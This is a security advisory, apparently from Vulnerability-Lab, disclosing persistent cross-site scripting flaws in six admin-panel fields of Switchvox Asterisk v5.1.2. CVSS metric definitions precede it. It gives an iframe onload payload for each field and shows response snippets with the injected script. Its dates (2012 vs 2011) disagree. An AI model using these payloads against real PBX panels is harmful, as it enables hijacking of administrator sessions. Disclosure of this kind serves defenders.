The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Title:
======
Switchvox Asterisk v5.1.2 - Multiple Web Vulnerabilities
Date:
=====
2012-09-10
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=700
VL-ID:
=====
700
Common Vulnerability Scoring System:
====================================
4.1
Introduction:
=============
Switchvox is based on the open source IP PBX, Asterisk, and the Linux operating system. It provides an easy
to deploy solution for businesses looking for the power of an enterprise PBX with high reliability, excellent support,
and low cost. The simple point-and-click online interface allows virtually anyone to set up and manage the system,
and because it comes as a pre-configured turnkey package, the server and phones are all plug and play. Switchvox now
offers a free edition. This edition is limited to 15 Extensions (Requires Free registration) and does not support the
digital Digium cards, other than that it is similar to the SOHO version.
Switchvox supports unlimited extensions and has all the basic features that you d expect from a PBX, like voicemail,
custom music on hold, time based behaviors, conferencing, call parking, intercom and paging. It also includes features
that are typically associated with expensive enterprise systems, such as ACD queues, find me/follow me functionality,
unlimited powerful IVR menus that can interact with your company s databases (Press one for sales or please enter your
account number followed by the pound key...), MS Outlook integration, and advanced call reporting.
Starting at $995, Switchvox is suitable for businesses of one person to hundreds looking to elevate their communication,
improve productivity, and save money on long distance charges. Switchvox supports VoIP, regular phone lines, and voice
T1 connections, so that your business can configure the system to best handle your typical calling behavior.
(Copy of the Vendor Homepage: http://www.switchvox.com/ )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple persistent web vulnerabilities in the Switchvox Appliance with Asterisk v5.1.2.
Report-Timeline:
================
2011-09-10:Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
Multiple persistent input validation vulnerabilities are detected in the Switchvox Appliance with Asterisk v5.1.2.
The bugs allow remote attackers to implement/inject malicious script code on the application side. The vulnerabilities are
located in setup and tools modules of the admin panel. Successful exploitation of the vulnerability can lead to session
hijacking (manager/admin) or stable context manipulation. Exploitation requires low user inter action & low or medium
privileged user web application account.
Vulnerable Module(s):
[+] Tools -> Sound Manager -> Create sound
[+] Tools -> SugarCRM switchboard Panel -> setup
[+] Setup -> Groups -> Create Extension Group
[+] Setup -> Outgoing calls -> Create Outgoing Call rule
[+] Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route
[+] Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call
Vulnerable Parameter(s):
[+] [Description]
[+] [SugarCRM Web URL] [SugarCRM SOAP URL]
[+] [Note]
Proof of Concept:
=================
The persistent vulnerabilities can be exploited by local low privileged user account with low or medium required user inter action.
For demonstration or reproduce ...
Review: Tools -> Sound Manager -> Create sound [Description]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
Review: Tools -> SugarCRM switchboard Panel -> setup [SugarCRM Web URL] [SugarCRM SOAP URL] --> to see the poc press on test CRM Settings
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
Review: Setup -> Groups -> Create Extension Group [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
Review: Setup -> Outgoing calls -> Create Outgoing Call rule [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
Review: Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route [Note]
PoC:<iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
Review: Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call [Note]
PoC: <iframe src="http://www.vulnerability-lab.com" onload=alert(document.cookie)></iframe>
1- Tools -> Sound Manager -> Create sound [Description]
2- Tools -> SugarCRM switchboard Panel -> setup [SugarCRM Web URL] [SugarCRM SOAP URL] --> to see the poc press on test CRM Settings
3- Setup -> Groups -> Create Extension Group [Note]
4- Setup -> Outgoing calls -> Create Outgoing Call rule [Note]
5- Setup -> Incoming Calls -> Caller DID routes -> Create Single DID Route [Note]
6- Setup -> Incoming Calls -> Caller ID Rules -> Create Call transfer Call [Note]
1.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=modify_sound&sound_id=478
<div class="desc_div"><b>Description:</b> Your new password must be different than your old password.
Please try again.<br>>"<[PERSISTENT INJECTED SCRIPT CODE!]"><br/>>"<[PERSISTENT INJECTED SCRIPT CODE!]")</ifram></iframe></div>
2.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?plugin_name=sugarcrm&admin_sbplugins_id=1&cmd=modify_crm_plugin&sugarcrm=1
["1101"],"plugin_type":"system","plugin_description":"Lookup up and display contact information straight from your SugarCRM server.","plugin_display":"SugarCRM","plugin_name":"sugarcrm","admin_sbplugins_id":"1","proxy":"http://>\"<[PERSISTENT INJECTED SCRIPT CODE!]")
</iframe>","uri":"http://>\"<[PERSISTENT INJECTED SCRIPT CODE!]")
3.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=extension_groups
<div style="margin-right: 5px; display: none;"><div style="width: 400px;" class="pwm_container_padding"><div>>"<[PERSISTENT INJECTED SCRIPT CODE!]")
</iframe'>>"<[PERSISTENT INJECTED SCRIPT CODE!]")</iframe>>"<[PERSISTENT INJECTED SCRIPT CODE!]")
</iframe'></iframe></div><div class="clear"></div></div></div></div>
<div style="display: none;" class="pwm_top_arrow"></div><div style="left: 187px; top: 354px;" class="pwm_bottom_arrow"></div>
4.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=add_outgoing_rule
{"call_through":{"internal":{}},"priority":"9","name":"test","description":">\"<[PERSISTENT INJECTED SCRIPT CODE!]")</iframe> >\"
<[PERSISTENT INJECTED SCRIPT CODE!]>","failovers":{},"is_final":"0","pattern":"Begins with 13 and the remainder is 23 to 90 digits in length","id":"103","context_type":"USER"}],"total_items":"9"}},"allExtensions":
5.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=incoming_rules&passthrough=1#pageTab=did_routes
code
"number":"123","name":"test","note":">\"<[PERSISTENT INJECTED SCRIPT CODE!]")</iframe>","force_fax":"0","any_provider":"1","type":"route_number","id":"3","call_type":"0"},
{"priority":"20000","action":"busy","type":"catchall_unknown_route","id":"1"}],"total_items":"3"}},"switchvox_version":"40062","
menu_structure":[{"children":[{"children":[{"cmd":"view_extensions","id":"manage_extensions","display":"Manage"},{"cmd":"extension_groups","id":"extension_groups","display":"Groups"},{"cmd":"extension_templates","id":"extension_templates","display":"Templates"},
{"cmd":"extension_permissions","id":"extension_permissions","display":"Permissions"},{"cmd":"phone_setup","id":"extension_phones","display":"Phones"},
{"cmd":"extension_settings","id":"extension_settings","display":"Settings"}],"id":"extensions","column":1,"display":"Extensions"},{"children":
[{"cmd":"channel_groups","id":"channel_groups","display":"Channel Groups"},{"cmd":"voip_providers","id":"voip_providers","display":"VOIP Providers"},
{"cmd":"outgoing_rules","id":"outgoing_calls","display":"Outgoing Calls"},
6.
URL: https://asterisk-switchvox.127.0.0.1:1337/admin?cmd=incoming_rules#pageTab=caller_id_rules
Risk:
=====
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Ibrahim M. El-Sayed [the StOrM) ([email protected]) [http://iel-sayed.blogspot.com]
Disclaimer:
===========
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